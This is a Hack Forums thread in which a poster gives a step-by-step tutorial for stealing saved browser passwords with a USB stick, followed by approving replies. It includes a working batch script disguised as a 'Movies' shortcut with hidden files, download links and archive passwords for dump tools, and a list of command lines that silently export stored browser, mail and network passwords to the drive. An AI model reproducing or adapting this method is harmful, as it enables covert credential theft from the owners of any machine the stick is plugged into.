Steal them passwords with a USB.

Steal them passwords with a USB. - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Blackhat • Red Team • Offensive Security (https://hackforums.net/forumdisplay.php?fid=447)
+---- Forum: Hacking Tools and Programs (https://hackforums.net/forumdisplay.php?fid=10)
+---- Thread: Steal them passwords with a USB. (/showthread.php?tid=5426867)

Pages: Pages 1 2 3 4 5 6 7 8 9 10 11 12

Steal them passwords with a USB. - Mr. Robot - Oct 7, 2016

Simple tut, straight to the point.
Open to some input.
We will make it more or less discreet too.

Output will look like this
[Image: KnJI5sX.png]

1. Download
http://securityxploded.com/browser-password-dump.php
Or direct link
http://securityxploded.org/getsoftware_direct.php?id=5761

2. Extract the files with the password securityxploded2007

3. Run the installer, and choose the install directory to be the USB.

[Image: MxMHWLG.png]

4. Create the folders with the name Movies and Browser Passwords

5. Open notepad, and paste the following into it - then save the file as Movies.bat

Code 
@echo off

@echo off

cd %cd:~0,2%

start BrowserPasswordDump\BrowserPasswordDump.exe -f "Browser Passwords\%computername%.log"

start  %SystemRoot%\explorer.exe "Movies"

6. Right click your Movies.bat file, and create a shortcut, then rename to just Movies

7. Right click your shortcut, and hit properties, then choose icon.
[Image: HCv9eJq.png]

8. Select all the files except the movie shortcut and then right click, properties and then click hidden.

9. Run that shortcut on any PC, and the passwords will all be exported to the folder Browser Passwords\

10. Now to access that folder you can just do this, remember to replace D:\ with your current USB drive
[Image: q4sxK9k.png]

If security xploded doesn't work for you or gets picked up by antivirus you can try

http://www.nirsoft.net/password_recovery_tools.html -
scroll down to where it says

Click this download link.
Enter 'download' as the user name, and 'nirsoft123!' as the password.
After downloading the package, extract the files from it using the following password: nirsoft123!

Using this as the password "nirsoft123!" to download it and extract it - and using "download" as the username on the actual download URL
The reason it has a password now and is hard to find is they have a public version that is not command line to avoid people using it like I have demonstrated in the OP.

You would need to use
passwordtool.exe /stext passwords.txt

Replace passwordtool.exe with the name of the extracted executable from the zip file and replace passwords.txt with whatever you wish to name the text file - something like the computer name to keep the password logs all unique if using on multiple machines in a day or just do %random%.txt which will give it a random number such as 123151.txt

ChromePass.exe /stext %random%.txt
Dialupass.exe /stext %random%.txt
iepv.exe /stext %random%.txt
mailpv.exe /stext %random%.txt
mspass.exe /stext %random%.txt
netpass.exe /stext %random%.txt
PasswordFox.exe /stext %random%.txt
PstPassword.exe /stext %random%.txt
WebBrowserPassView.exe /stext %random%.txt

You will probably only want/need "WebBrowserPassView.exe"

* - d0xie - Oct 7, 2016

This seems interesting. I'll give it a shot sometime today when I'm done cleaning all my USB's out and organizing stuff.

* - nique ta mere - Oct 7, 2016

Amazing tutorial by Mr. Robot. Thank you.

* - Mr. Robot - Oct 7, 2016

Just a basic one, handy to have on your USB.

You can make the files hidden deeper on the USB if you want too, that's up to you.

* - D_MuLa - Oct 7, 2016

batch is still useful holy crap lol

* - Mr. Robot - Oct 7, 2016

(Oct 7, 2016 03:47 PM)D_MuLa Wrote: batch is still useful holy crap lol

Lol what, Batch is great.

* - Tunechi - Oct 7, 2016

Dope tutorial, posting so I can come back to this later. Thanks for the info

* - Fantom4242 - Oct 7, 2016

You've been putting it to work with USB pentesting, and I love it

* - Horizon - Oct 7, 2016

Interesting post, thanks for sharing OP!

* - TheGoldenRelik - Oct 7, 2016

Posting to come back later!
Thanks in advance OP!

* - nique ta mere - Oct 7, 2016

(Oct 7, 2016 03:45 PM)Mr. Robot Wrote: Just a basic one, handy to have on your USB.

You can make the files hidden deeper on the USB if you want too, that's up to you.

Mr Robot don't talk like this, this ain't no basic shit brother. You're a hacker.

* - Mr. Robot - Oct 7, 2016

Looking into how to make the folder a symlink for more discretion.

* - Stashy - Oct 7, 2016

no clue what half this shit means but I'll be like any other skid and just copy it

thanks

* - 7h3_Ph3n0m - Oct 8, 2016

hmm interesting concept 🙂

* - Mr. Robot - Oct 8, 2016

(Oct 7, 2016 04:31 PM)Hubba Bubba Gum Wrote: no clue what half this shit means but I'll be like any other skid and just copy it

thanks

Let me know how you get on.